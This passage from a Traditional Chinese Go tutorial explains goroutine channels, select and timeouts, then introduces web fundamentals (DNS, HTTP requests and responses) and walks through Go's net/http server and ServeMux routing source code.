預設情況下，在 Go 1.5 將標識併發系統執行緒個數的

`runtime.GOMAXPROCS` 的初始值由 1 改爲了執行環境的 CPU 核數。

但在 Go 1.5 以前排程器僅使用單執行緒，也就是說只實現了併發。想要發揮多核處理器的並行，需要在我們的程式中顯式呼叫 `runtime.GOMAXPROCS(n)` 告訴排程器同時使用多個執行緒。`GOMAXPROCS` 設定了同時執行邏輯程式碼的系統執行緒的最大數量，並返回之前的設定。如果  $n < 1$ ，不會改變當前設定。

## channels

goroutine 執行在相同的地址空間，因此訪問共享記憶體必須做好同步。那麼 goroutine 之間如何進行資料的通訊呢，Go 提供了一個很好的通訊機制 `channel`。`channel` 可以與 Unix shell 中的雙向管道做類別比：可以透過它傳送或者接收值。這些值只能是特定的型別：`channel` 型別。定義一個 `channel` 時，也需要定義傳送到 `channel` 的值的型別。注意，必須使用 `make` 建立 `channel`：

```
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
```

`channel` 透過運算子 `<-` 來接收和傳送資料

```
ch <- v    // 傳送 v 到 channel ch.
v := <-ch  // 從 ch 中接收資料，並賦值給 v
```

我們把這些應用到我們的例子中來：

```
package main

import "fmt"

func sum(a []int, c chan int) {
    total := 0
    for _, v := range a {
        total += v
    }
    c <- total // send total to c
}

func main() {
    a := []int{7, 2, 8, -9, 4, 0}

    c := make(chan int)
    go sum(a[:len(a)/2], c)
    go sum(a[len(a)/2:], c)
    x, y := <-c, <-c // receive from c

    fmt.Println(x, y, x + y)
}
```

預設情況下，channel 接收和傳送資料都是阻塞的，除非另一端已經準備好，這樣就使得 Goroutines 同步變的更加的簡單，而不需要顯式的 lock。所謂阻塞，也就是如果讀取（`value := <-ch`）它將會被阻塞，直到有資料接收。其次，任何傳送（`ch<-5`）將會被阻塞，直到資料被讀出。無緩衝 channel 是在多個 goroutine 之間同步很棒的工具。

## Buffered Channels

上面我們介紹了預設的非快取型別的 channel，不過 Go 也允許指定 channel 的緩衝大小，很簡單，就是 channel 可以儲存多少元素。`ch:= make(chan bool, 4)`，建立了可以儲存 4 個元素的 bool 型 channel。在這個 channel 中，前 4 個元素可以無阻塞的寫入。當寫入第 5 個元素時，程式碼將會阻塞，直到其他 goroutine 從 channel 中讀取一些元素，騰出空間。

```
ch := make(chan type, value)
```

當 `value = 0` 時，channel 是無緩衝阻塞讀寫的，當 `value > 0` 時，channel 有緩衝、是非阻塞的，直到寫滿 `value` 個元素才阻塞寫入。

我們看一下下面這個例子，你可以在自己本機測試一下，修改相應的 `value` 值

```
package main

import "fmt"

func main() {
    c := make(chan int, 2)//修改 2 為 1 就報錯，修改 2 為 3 可以正常
    執行
    c <- 1
    c <- 2
    fmt.Println(<-c)
    fmt.Println(<-c)
}

//修改為 1 報如下的錯誤：
//fatal error: all goroutines are asleep - deadlock!
```

## Range 和 Close

上面這個例子中，我們需要讀取兩次 `c`，這樣不是很方便，Go 考慮到了這一點，所以也可以透過 `range`，像操作 `slice` 或者 `map` 一樣操作快取型別的 channel，請看下面的例子



```
package main

import (
    "fmt"
)

func fibonacci(n int, c chan int) {
    x, y := 1, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x + y
    }
    close(c)
}

func main() {
    c := make(chan int, 10)
    go fibonacci(cap(c), c)
    for i := range c {
        fmt.Println(i)
    }
}
```

`for i := range c` 能夠不斷的讀取 channel 裡面的資料，直到該 channel 被顯式的關閉。上面程式碼我們看到可以顯式的關閉 channel，生產者透過內建函式 `close` 關閉 channel。關閉 channel 之後就無法再發送任何資料了，在消費方可以透過語法 `v, ok := <-ch` 測試 channel 是否被關閉。如果 `ok` 返回 `false`，那麼說明 channel 已經沒有任何資料並且已經被關閉。

記住應該在生產者的地方關閉 channel，而不是消費的地方去關閉它，這樣容易引起 panic

另外記住一點的就是 channel 不像檔案之類別的，不需要經常去關閉，只有當你確實沒有任何傳送資料了，或者你想顯式的結束 range 迴圈之類別的

## Select

我們上面介紹的都是隻有一個 `channel` 的情況，那麼如果存在多個 `channel` 的時候，我們該如何操作呢，Go 裡面提供了一個關鍵字 `select`，透過 `select` 可以監聽 `channel` 上的資料流動。

`select` 預設是阻塞的，只有當監聽的 `channel` 中有傳送或接收可以進行時才會執行，當多個 `channel` 都準備好的時候，`select` 是隨機的選擇一個執行的。

```
package main

import "fmt"

func fibonacci(c, quit chan int) {
    x, y := 1, 1
    for {
        select {
        case c <- x:
            x, y = y, x + y
        case <-quit:
            fmt.Println("quit")
            return
        }
    }
}

func main() {
    c := make(chan int)
    quit := make(chan int)
    go func() {
        for i := 0; i < 10; i++ {
            fmt.Println(<-c)
        }
        quit <- 0
    }()
    fibonacci(c, quit)
}
```

在 `select` 裡面還有 `default` 語法，`select` 其實就是類似 `switch` 的功能，`default` 就是當監聽的 `channel` 都沒有準備好的時候，預設執行的（`select` 不再阻塞等待 `channel`）。

```
select {
case i := <-c:
    // use i
default:
    // 當 c 阻塞的時候執行這裡
}
```

## 超時

有時候會出現 `goroutine` 阻塞的情況，那麼我們如何避免整個程式進入阻塞的情況呢？我們可以利用 `select` 來設定超時，透過如下的方式實現：

```
func main() {
    c := make(chan int)
    o := make(chan bool)
    go func() {
        for {
            select {
                case v := <- c:
                    println(v)
                case <- time.After(5 * time.Second):
                    println("timeout")
                    o <- true
                    break
            }
        }
    }()
    <- o
}
```

## runtime goroutine

runtime 套件中有幾個處理 goroutine 的函式：

- Goexit

退出當前執行的 goroutine，但是 defer 函式還會繼續呼叫

- Gosched

讓出當前 goroutine 的執行許可權，排程器安排其他等待的任務執行，並在下次某個時候從該位置恢復執行。

- NumCPU

返回 CPU 核數量

- NumGoroutine

返回正在執行和排隊的任務總數

- GOMAXPROCS

用來設定可以平行計算的 CPU 核數的最大值，並返回之前的值。

## links

- [目錄](#)
- 上一章: [interface](#)
- 下一節: [總結](#)

## 2.8 總結

這一章我們主要介紹了 Go 語言的一些語法，透過語法我們可以發現 Go 是多麼的簡單，只有二十五個關鍵字。讓我們再來回顧一下這些關鍵字都是用來幹什麼的。

|          |             |        |           |        |
|----------|-------------|--------|-----------|--------|
| break    | default     | func   | interface | select |
| case     | defer       | go     | map       | struct |
| chan     | else        | goto   | package   | switch |
| const    | fallthrough | if     | range     | type   |
| continue | for         | import | return    | var    |

- var 和 const 參考 2.2Go 語言基礎裡面的變數和常量申明
- package 和 import 已經有過短暫的接觸
- func 用於定義函式和方法
- return 用於從函式返回
- defer 用於類似解構函式
- go 用於併發
- select 用於選擇不同型別的通訊
- interface 用於定義介面，參考 2.6 小節
- struct 用於定義抽象資料型別，參考 2.5 小節
- break、case、continue、for、fallthrough、else、if、switch、goto、default 這些參考 2.3 流程介紹裡面
- chan 用於 channel 通訊
- type 用於宣告自訂型別
- map 用於宣告 map 型別資料
- range 用於讀取 slice、map、channel 資料

上面這二十五個關鍵字記住了，那麼 Go 你也已經差不多學會了。

## links

- [目錄](#)
- 上一節: [併發](#)
- 下一章: [Web 基礎](#)



## 3 Web 基礎

學習基於 Web 的程式設計可能正是你讀本書的原因。事實上，如何透過 Go 來編寫 Web 應用也是我編寫這本書的初衷。前面已經介紹過，Go 目前已經擁有了成熟的 HTTP 處理套件，這使得編寫能做任何事情的動態 Web 程式易如反掌。在接下來的各章中將要介紹的內容，都是屬於 Web 程式設計的範疇。本章則集中討論一些與 Web 相關的概念和 Go 如何執行 Web 程式的話題。

### 目錄



### links

- [目錄](#)
- 上一章: [第二章總結](#)
- 下一節: [Web 工作方式](#)

## 3.1 Web 工作方式

我們平時瀏覽網頁的時候，會開啓瀏覽器，輸入網址後按下回車鍵，然後就會顯示出你想要瀏覽的內容。在這個看似簡單的使用者行為背後，到底隱藏了些什麼呢？

對於普通的上網過程，系統其實是這樣做的：瀏覽器本身是一個客戶端，當你輸入 URL 的時候，首先瀏覽器會去請求 DNS 伺服器，透過 DNS 取得相應的域名對應的 IP，然後透過 IP 地址找到 IP 對應的伺服器後，要求建立 TCP 連線，等瀏覽器傳送完 HTTP Request（請求）套件後，伺服器接收到請求套件之後才開始處理請求套件，伺服器呼叫自身服務，返回 HTTP Response（響應）套件；客戶端收到來自伺服器的響應後開始渲染這個 Response 套件裡的主體（body），等收到全部的內容隨後斷開與該伺服器之間的 TCP 連線。



圖 3.1 使用者訪問一個 Web 站點的過程

一個 Web 伺服器也被稱爲 HTTP 伺服器，它透過 HTTP 協議與客戶端通訊。這個客戶端通常指的是 Web 瀏覽器(其實手機端客戶端內部也是瀏覽器實現的)。

Web 伺服器的工作原理可以簡單地歸納爲：

- 客戶機透過 TCP/IP 協議建立到伺服器的 TCP 連線
- 客戶端向伺服器傳送 HTTP 協議請求套件，請求伺服器裡的資源文件
- 伺服器向客戶機發送 HTTP 協議應答套件，如果請求的資源包含有動態語言的內容，那麼伺服器會呼叫動態語言的解釋引擎負責處理“動態內容”，並將處理得到的資料返回給客戶端
- 客戶機與伺服器斷開。由客戶端解釋 HTML 文件，在客戶端螢幕上渲染圖形結果

一個簡單的 HTTP 事務就是這樣實現的，看起來很複雜，原理其實是挺簡單的。需要注意的是客戶機與伺服器之間的通訊是非持久連線的，也就是當伺服器傳送了應答後就與客戶機斷開連線，等待下一次請求。

## URL 和 DNS 解析

我們瀏覽網頁都是透過 URL 訪問的，那麼 URL 到底是怎麼樣的呢？



URL(Uniform Resource Locator)是“統一資源定位符”的英文縮寫，用於描述一個網路上的資源，基本格式如下

```
scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme          指定底層使用的協議(例如：http, https, ftp)
host            HTTP 伺服器的 IP 地址或者域名
port#          HTTP 伺服器的預設埠是 80，這種情況下埠號可以省略。如果使
               用了別的埠，必須指明，例如 http://www.cnblogs.com:8080/
path            訪問資源的路徑
query-string    傳送給 http 伺服器的資料
anchor          錨
```

DNS(Domain Name System)是“域名系統”的英文縮寫，是一種組織成域層次結構的計算機和網路服務命名系統，它用於 TCP/IP 網路，它從事將主機名或域名轉換為實際 IP 地址的工作。DNS 就是這樣的一位“翻譯官”，它的基本工作原理可用下圖來表示。



圖 3.2 DNS 工作原理

更詳細的 DNS 解析的過程如下，這個過程有助於我們理解 DNS 的工作模式

1. 在瀏覽器中輸入 **www.qq.com** 域名，作業系統會先檢查自己本地的 **hosts** 檔案是否有這個網址對映關係，如果有，就先呼叫這個 IP 地址對映，完成域名解析。
2. 如果 **hosts** 裡沒有這個域名的對映，則查詢本地 DNS 解析器快取，是否有這個網址對映關係，如果有，直接返回，完成域名解析。
3. 如果 **hosts** 與本地 DNS 解析器快取都沒有相應的網址對映關係，首先會找 TCP/IP 引數中設定的首選 DNS 伺服器，在此我們叫它本地 DNS 伺服器，此伺服器收到查詢時，如果要查詢的域名，包含在本地配置區域資源中，則返回解析結果給客戶機，完成域名解析，此解析具有權威性。
4. 如果要查詢的域名，不由本地 DNS 伺服器區域解析，但該伺服器已快取了此網址對映關係，則呼叫這個 IP 地址對映，完成域名解析，此解析不具有權威性。

5. 如果本地 DNS 伺服器本地區域檔案與快取解析都失效，則根據本地 DNS 伺服器的設定（是否設定轉發器）進行查詢，如果未用轉發模式，本地 DNS 就把請求發至“根 DNS 伺服器”，“根 DNS 伺服器”收到請求後會判斷這個域名(.com)是誰來授權管理，並會返回一個負責該頂級域名伺服器的一個 IP。本地 DNS 伺服器收到 IP 資訊後，將會聯絡負責.com 域的這臺伺服器。這臺負責.com 域的伺服器收到請求後，如果自己無法解析，它就會找一個管理.com 域的下一級 DNS 伺服器地址(qq.com)給本地 DNS 伺服器。當本地 DNS 伺服器收到這個地址後，就會找 qq.com 域伺服器，重複上面的動作，進行查詢，直至找到 www.qq.com 主機。
6. 如果用的是轉發模式，此 DNS 伺服器就會把請求轉發至上一級 DNS 伺服器，由上一級伺服器進行解析，上一級伺服器如果不能解析，或找根 DNS 或把請求轉至上上級，以此迴圈。不管本地 DNS 伺服器用的是轉發，還是根提示，最後都是把結果返回給本地 DNS 伺服器，由此 DNS 伺服器再返回給客戶機。



圖 3.3 DNS 解析的整個流程

所謂 遞迴查詢過程 就是“查詢的遞交者”更替，而 迭代查詢過程 則是“查詢的遞交者”不變。

舉個例子來說，你想知道某個一起上法律課的女孩的電話，並且你偷偷拍了她的照片，回到寢室告訴一個很仗義的哥們兒，這個哥們兒二話沒說，拍著胸脯告訴你，甭急，我替你查(此處完成了一次遞迴查詢，即，問詢者的角色更替)。然後他拿著照片問了學院大四學長，學長告訴他，這姑娘是 xx 系的；然後這哥們兒馬不停蹄又問了 xx 系的辦公室主任助理同學，助理同學說是 xx 系 yy 班的，然後很仗義的哥們兒去 xx 系 yy 班的班長那裡取到了該女孩兒電話。(此處完成若干次迭代查詢，即，問詢者角色不變，但反覆更替問詢物件)最後，他把號碼交到了你手裡。完成整個查詢過程。

透過上面的步驟，我們最後取得的是 IP 地址，也就是瀏覽器最後發起請求的時候是基於 IP 來和伺服器做資訊互動的。

## HTTP 協議詳解

HTTP 協議是 Web 工作的核心，所以要了解清楚 Web 的工作方式就需要詳細的瞭解清楚 HTTP 是怎麼樣工作的。

HTTP 是一種讓 Web 伺服器與瀏覽器(客戶端)透過 Internet 傳送與接收資料的協議，它建立在 TCP 協議之上，一般採用 TCP 的 80 埠。它是一個請求、響應協議-客戶端發出一個請求，伺服器響應這個請求。在 HTTP 中，客戶端總是透過建立一個連線與傳送一個 HTTP 請求來發起一個事務。伺服器不能主動去與客戶端聯絡，也不能給客戶端發出一個回呼(Callback)連線。客戶端與伺服器端都可以提前中斷一個連線。例如，當瀏覽器下載一個檔案時，你可以透過點選“停止”鍵來中斷檔案的下載，關閉與伺服器的 HTTP 連線。

HTTP 協議是無狀態的，同一個客戶端的這次請求和上次請求是有對應關係的，對 HTTP 伺服器來說，它並不知道這兩個請求是否來自同一個客戶端。為了解決這個問題，Web 程式引入了 Cookie 機制來維護連線的可持續狀態。

HTTP 協議是建立在 TCP 協議之上的，因此 TCP 攻擊一樣會影響 HTTP 的通訊，例如比較常見的一些攻擊：SYN Flood 是當前最流行的 DoS（拒絕服務攻擊）與 DDoS（分散式拒絕服務攻擊）的方式之一，這是一種利用 TCP 協議缺陷，傳送大量偽造的 TCP 連線請求，從而使得被攻擊方資源耗盡（CPU 滿負荷或記憶體不足）的攻擊方式。

## HTTP 請求套件（瀏覽器資訊）

我們先來看看 Request 套件的結構, Request 套件分為 3 部分，第一部分叫 Request line（請求行），第二部分叫 Request header（請求頭），第三部分是 body（主體）。header 和 body 之間有個空行，請求套件的例子所示：

```
GET /domains/example/ HTTP/1.1           //請求行： 請求方法 請求 URI H
TTP 協議/協議版本
Host: www.iana.org                       //伺服器端的主機名
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML,
like Gecko) Chrome/22.0.1229.94 Safari/537.4 //瀏覽
器資訊
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客戶端能接收的 MIME

Accept-Encoding: gzip, deflate, sdch      //是否支援流壓縮
Accept-Charset: UTF-8, *;q=0.5           //客戶端字元編碼集
//空行，用於分割請求頭和訊息體
//訊息體，請求資源引數，例如 POST 傳遞的引數
```

HTTP 協議定義了很多與伺服器互動的請求方法，最基本的有 4 種，分別是 GET,POST,PUT,DELETE。一個 URL 地址用於描述一個網路上的資源，而 HTTP 中的 GET, POST, PUT, DELETE 就對應著對這個資源的查，增，改，刪 4 個操作。我們最常見的就是 GET 和 POST 了。GET 一般用於取得/查詢資源資訊，而 POST 一般用於更新資源資訊。

透過 fiddler 抓套件可以看到如下請求資訊:



圖 3.4 fiddler 抓取的 GET 資訊



圖 3.5 fiddler 抓取的 POST 資訊

我們看看 GET 和 POST 的區別:

1. 我們可以看到 GET 請求訊息體為空，POST 請求帶有訊息體。
2. GET 提交的資料會放在 URL 之後，以 ? 分割 URL 和傳輸資料，引數之間以 & 相連，如 `EditPosts.aspx?name=test1&id=123456`。POST 方法是把提交的資料放在 HTTP 套件的 body 中。
3. GET 提交的資料大小有限制（因為瀏覽器對 URL 的長度有限制），而 POST 方法提交的資料沒有限制。
4. GET 方式提交資料，會帶來安全問題，比如一個登入頁面，透過 GET 方式提交資料時，使用者名稱和密碼將出現在 URL 上，如果頁面可以被快取或者其他人可以訪問這臺機器，就可以從歷史記錄獲得該使用者的帳號和密碼。

## HTTP 響應套件（伺服器資訊）

我們再來看看 HTTP 的 response 套件，他的結構如下：

```
HTTP/1.1 200 OK //狀態行
Server: nginx/1.0.8 //伺服器使用的 WEB 軟體名及版本
Date: Tue, 30 Oct 2012 04:14:25 GMT //傳送時間
Content-Type: text/html //伺服器傳送資訊的型別
Transfer-Encoding: chunked //表示傳送 HTTP 套件是分段發的
Connection: keep-alive //保持連線狀態
Content-Length: 90 //主體內容長度
//空行 用來分割訊息頭和主體
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"..
. //訊息體
```

Response 套件中的第一行叫做狀態行，由 HTTP 協議版本號，狀態碼，狀態訊息三部分組成。

狀態碼用來告訴 HTTP 客戶端，HTTP 伺服器是否產生了預期的 Response。

HTTP/1.1 協議中定義了 5 類別狀態碼，狀態碼由三位數字組成，第一個數字定義了響應的類別

- 1XX 提示資訊 - 表示請求已被成功接收，繼續處理
- 2XX 成功 - 表示請求已被成功接收，理解，接受
- 3XX 重新導向 - 要完成請求必須進行更進一步的處理
- 4XX 客戶端錯誤 - 請求有語法錯誤或請求無法實現
- 5XX 伺服器端錯誤 - 伺服器未能實現合法的請求

我們看下面這個圖展示了詳細的返回資訊，左邊可以看到有很多的資源返回碼，200 是常用的，表示正常資訊，302 表示跳轉。response header 裡面展示了詳細的資訊。



圖 3.6 訪問一次網站的全部請求資訊

## HTTP 協議是無狀態的和 Connection: keep-alive 的區別

無狀態是指協議對於事務處理沒有記憶能力，伺服器不知道客戶端是什麼狀態。從另一方面講，開啓一個伺服器上的網頁和你之前開啓這個伺服器上的網頁之間沒有任何聯絡。

HTTP 是一個無狀態的連線導向的協議，無狀態不代表 HTTP 不能保持 TCP 連線，更不能代表 HTTP 使用的是 UDP 協議（面對無連線）。

從 HTTP/1.1 起，預設都開啓了 **Keep-Alive** 保持連線特性，簡單地說，當一個網頁開啓完成後，客戶端和伺服器之間用於傳輸 HTTP 資料的 TCP 連線不會關閉，如果客戶端再次訪問這個伺服器上的網頁，會繼續使用這一條已經建立的 TCP 連線。

**Keep-Alive** 不會永久保持連線，它有一個保持時間，可以在不同伺服器軟體（如 Apache）中設定這個時間。

## 請求例項



圖 3.7 一次請求的 request 和 response

上面這張圖我們可以瞭解到整個的通訊過程，同時細心的讀者是否注意到了一點，一個 URL 請求但是左邊欄裡面為什麼會有那麼多的資源請求(這些都是靜態檔案，go 對於靜態檔案有專門的處理方式)。

這個就是瀏覽器的一個功能，第一次請求 url，伺服器端返回的是 html 頁面，然後瀏覽器開始渲染 HTML：當解析到 HTML DOM 裡面的圖片連線，css 指令碼和 js 指令碼的連結，瀏覽器就會自動發起一個請求靜態資源的 HTTP 請求，取得相對應的靜態資源，然後瀏覽器就會渲染出來，最終將所有資源整合、渲染，完整展現在我們面前的螢幕上。

網頁優化方面有一項措施是減少 HTTP 請求次數，就是把儘量多的 css 和 js 資源合併在一起，目的是儘量減少網頁請求靜態資源的次數，提高網頁載入速度，同時減緩伺服器的壓力。

## links

- [目錄](#)
- 上一節: [Web 基礎](#)
- 下一節: [Go 建立一個 Web 伺服器](#)



## 3.2 Go 建立一個 Web 伺服器

前面小節已經介紹了 Web 是基於 http 協議的一個服務，Go 語言裡面提供了一個完善的 `net/http` 套件，透過 `http` 套件可以很方便的建立起來一個可以執行的 Web 服務。同時使用這個套件能很簡單地對 Web 的路由，靜態檔案，模版，`cookie` 等資料進行設定和操作。

### `http` 套件建立 Web 伺服器



```
package main

import (
    "fmt"
    "net/http"
    "strings"
    "log"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm() //解析引數，預設是不會解析的
    fmt.Println(r.Form) //這些資訊是輸出到伺服器端的列印資訊
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的
}

func main() {
    http.HandleFunc("/", sayhelloName) //設定訪問的路由
    err := http.ListenAndServe(":9090", nil) //設定監聽的埠
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}
```

上面這個程式碼，我們 build 之後，然後執行 web.exe，這個時候其實已經在 9090 埠監聽 http 連結請求了。

在瀏覽器輸入 `http://localhost:9090`

可以看到瀏覽器頁面輸出了 `Hello astaxie!`

可以換一個地址試試：`http://localhost:9090/?url_long=111&url_long=222`

看看瀏覽器輸出的是什麼，伺服器輸出的是什麼？

在伺服器端輸出的資訊如下：



圖 3.8 使用者訪問 Web 之後伺服器端列印的資訊

我們看到上面的程式碼，要編寫一個 Web 伺服器很簡單，只要呼叫 http 套件的兩個函式就可以了。

如果你以前是 PHP 程式設計師，那你也許就會問，我們的 nginx、apache 伺服器不需要嗎？Go 就是不需要這些，因為他直接就監聽 tcp 埠了，做了 nginx 做的事情，然後 `sayhelloName` 這個其實就是我們寫的邏輯函數了，跟 php 裡面的控制層（controller）函式類似。

如果你以前是 Python 程式設計師，那麼你一定聽說過 `tornado`，這個程式碼和他是不是很像，對，沒錯，Go 就是擁有類似 Python 這樣動態語言的特性，寫 Web 應用很方便。

如果你以前是 Ruby 程式設計師，會發現和 ROR 的 `/script/server` 啟動有點類似。

我們看到 Go 透過簡單的幾行程式碼就已經執行起來一個 Web 服務了，而且這個 Web 服務內部有支援高併發的特性，我將會在接下來的兩個小節裡面詳細的講解一下 Go 是如何實現 Web 高併發的。

## links

- [目錄](#)
- 上一節: [Web 工作方式](#)
- 下一節: [Go 如何使得 web 工作](#)

## 3.3 Go 如何使得 Web 工作

前面小節介紹瞭如何透過 Go 建立一個 Web 服務，我們可以看到簡單應用一個 net/http 套件就方便的建立起來了。那麼 Go 在底層到底是怎麼做的呢？萬變不離其宗，Go 的 Web 服務工作也離不開我們第一小節介紹的 Web 工作方式。

### web 工作方式的幾個概念

以下均是伺服器端的幾個概念

**Request**：使用者請求的資訊，用來解析使用者的請求資訊，包括 post、get、cookie、url 等資訊

**Response**：伺服器需要反饋給客戶端的資訊

**Conn**：使用者的每次請求連結

**Handler**：處理請求和產生返回資訊的處理邏輯

### 分析 http 套件執行機制

下圖是 Go 實現 Web 服務的工作模式的流程圖



圖 3.9 http 套件執行流程

1. 建立 Listen Socket, 監聽指定的埠, 等待客戶端請求到來。
2. Listen Socket 接受客戶端的請求, 得到 Client Socket, 接下來透過 Client Socket 與客戶端通訊。
3. 處理客戶端的請求, 首先從 Client Socket 讀取 HTTP 請求的協議頭, 如果是 POST 方法, 還可能要讀取客戶端提交的資料, 然後交給相應的 handler 處理請求, handler 處理完畢準備好客戶端需要的資料, 透過 Client Socket 寫給客戶端。

這整個的過程裡面我們只要瞭解清楚下面三個問題，也就知道 Go 是如何讓 Web 執行起來了

- 如何監聽埠？
- 如何接收客戶端請求？
- 如何分配 handler？

前面小節的程式碼裡面我們可以看到，Go 是透過一個函式 `ListenAndServe` 來處理這些事情的，這個底層其實這樣處理的：初始化一個 `server` 物件，然後呼叫了 `net.Listen("tcp", addr)`，也就是底層用 TCP 協議建立了一個服務，然後監控我們設定的埠。

下面程式碼來自 Go 的 http 套件的原始碼，透過下面的程式碼我們可以看到整個的 http 處理過程：

```
func (srv *Server) Serve(l net.Listener) error {
    defer l.Close()
    var tempDelay time.Duration // how long to sleep on accept failure
    for {
        rw, e := l.Accept()
        if e != nil {
            if ne, ok := e.(net.Error); ok && ne.Temporary() {
                if tempDelay == 0 {
                    tempDelay = 5 * time.Millisecond
                } else {
                    tempDelay *= 2
                }
                if max := 1 * time.Second; tempDelay > max {
                    tempDelay = max
                }
                log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
                time.Sleep(tempDelay)
                continue
            }
            return e
        }
        tempDelay = 0
        c, err := srv.newConn(rw)
        if err != nil {
            continue
        }
        go c.serve()
    }
}
```

監控之後如何接收客戶端的請求呢？上面程式碼執行監控埠之後，呼叫了 `srv.Serve(net.Listener)` 函式，這個函式就是處理接收客戶端的請求資訊。這個函式裡面起了一個 `for{}`，首先透過 `Listener` 接收請求，其次建立一個

Conn，最後單獨開了一個 goroutine，把這個請求的資料當做引數扔給這個 conn 去服務：`go c.serve()`。這個就是高併發體現了，使用者的每一次請求都是在一個新的 goroutine 去服務，相互不影響。

那麼如何具體分配到相應的函式來處理請求呢？conn 首先會解析 request: `c.readRequest()`，然後取得相應的 handler: `handler := c.server.Handler`，也就是我們剛才在呼叫函式 `ListenAndServe` 時候的第二個引數，我們前面例子傳遞的是 `nil`，也就是為空，那麼預設取得 `handler = DefaultServeMux`，那麼這個變數用來做什麼的呢？對，這個變數就是一個路由器，它用來匹配 url 跳轉到其相應的 handle 函式，那麼這個我們有設定過嗎？有，我們呼叫的程式碼裡面第一句不是呼叫了 `http.HandleFunc("/", sayhelloName)` 嘛。這個作用就是註冊了請求 `/` 的路由規則，當請求 uri 為 `"/"`，路由就會轉到函式 `sayhelloName`，`DefaultServeMux` 會呼叫 `ServeHTTP` 方法，這個方法內部其實就是呼叫 `sayhelloName` 本身，最後透過寫入 `response` 的資訊反饋到客戶端。

詳細的整個流程如下圖所示：



圖 3.10 一個 http 連線處理流程

至此我們的三個問題已經全部得到了解答，你現在對於 Go 如何讓 Web 跑起來的是否已經基本瞭解了呢？

## links

- [目錄](#)
- 上一節: [GO 建立一個簡單的 web 服務](#)
- 下一節: [Go 的 http 套件詳解](#)

## 3.4 Go 的 http 套件詳解

前面小節介紹了 Go 怎麼樣實現了 Web 工作模式的一個流程，這一小節，我們將詳細地解剖一下 http 套件，看它到底是怎樣實現整個過程的。

Go 的 http 有兩個核心功能：Conn、ServeMux

### Conn 的 goroutine

與我們一般編寫的 http 伺服器不同, Go 爲了實現高併發和高效能, 使用了 goroutines 來處理 Conn 的讀寫事件, 這樣每個請求都能保持獨立, 相互不會阻塞, 可以高效的響應網路事件。這是 Go 高效的保證。

Go 在等待客戶端請求裡面是這樣寫的：

```
c, err := srv.newConn(rw)
if err != nil {
    continue
}
go c.serve()
```

這裡我們可以看到客戶端的每次請求都會建立一個 Conn，這個 Conn 裡面儲存了該次請求的資訊，然後再傳遞到對應的 handler，該 handler 中便可以讀取到相應的 header 資訊，這樣保證了每個請求的獨立性。

### ServeMux 的自訂

我們前面小節講述 conn.server 的時候，其實內部是呼叫了 http 套件預設的路由器，透過路由器把本次請求的資訊傳遞到了後端的處理函式。那麼這個路由器是怎麼實現的呢？

它的結構如下：

```
type ServeMux struct {  
    mu sync.RWMutex    //鎖，由於請求涉及到併發處理，因此這裡需要一個鎖機制  
  
    m map[string]muxEntry // 路由規則，一個 string 對應一個 mux 實體，這裡的 string 就是註冊的路由表示式  
    hosts bool // 是否在任意的規則中帶有 host 資訊  
}
```

下面看一下 muxEntry

```
type muxEntry struct {  
    explicit bool // 是否精確匹配  
    h          Handler // 這個路由表示式對應哪個 handler  
  
    pattern string // 匹配字串  
}
```

接著看一下 Handler 的定義

```
type Handler interface {  
    ServeHTTP(ResponseWriter, *Request) // 路由實現器  
}
```

Handler 是一個介面，但是前一小節中的 `sayhelloName` 函式並沒有實現 `ServeHTTP` 這個介面，為什麼能新增呢？原來在 `http` 套件裡面還定義了一個型別 `HandlerFunc`，我們定義的函式 `sayhelloName` 就是這個 `HandlerFunc` 呼叫之後的結果，這個型別預設就實現了 `ServeHTTP` 這個介面，即我們呼叫了 `HandlerFunc(f)`，強制型別轉換 `f` 成為 `HandlerFunc` 型別，這樣 `f` 就擁有了 `ServeHTTP` 方法。



```
type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}
```

路由器裡面儲存好了相應的路由規則之後，那麼具體的請求又是怎麼分發的呢？請看下面的程式碼，預設的路由器實現了 `ServeHTTP`：

```
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
    if r.RequestURI == "*" {
        w.Header().Set("Connection", "close")
        w.WriteHeader(StatusBadRequest)
        return
    }
    h, _ := mux.Handler(r)
    h.ServeHTTP(w, r)
}
```

如上所示路由器接收到請求之後，如果是 `*` 那麼關閉連結，不然呼叫 `mux.Handler(r)` 返回對應設定路由的處理 `Handler`，然後執行 `h.ServeHTTP(w, r)`

也就是呼叫對應路由的 `handler` 的 `ServeHTTP` 介面，那麼 `mux.Handler(r)` 怎麼處理的呢？

```
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
    if r.Method != "CONNECT" {
        if p := cleanPath(r.URL.Path); p != r.URL.Path {
            _, pattern = mux.handler(r.Host, p)
            return RedirectHandler(p, StatusMovedPermanently), p
        }
    }
    return mux.handler(r.Host, r.URL.Path)
}

func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {
    mux.mu.RLock()
    defer mux.mu.RUnlock()

    // Host-specific pattern takes precedence over generic ones
    if mux.hosts {
        h, pattern = mux.match(host + path)
    }
    if h == nil {
        h, pattern = mux.match(path)
    }
    if h == nil {
        h, pattern = NotFoundHandler(), ""
    }
    return
}
```

原來他是根據使用者請求的 URL 和路由器裡面儲存的 map 去匹配的，當匹配到之後返回儲存的 handler，呼叫這個 handler 的 ServeHTTP 介面就可以執行到相應的函數了。

透過上面這個介紹，我們瞭解了整個路由過程，Go 其實支援外部實現的路由器

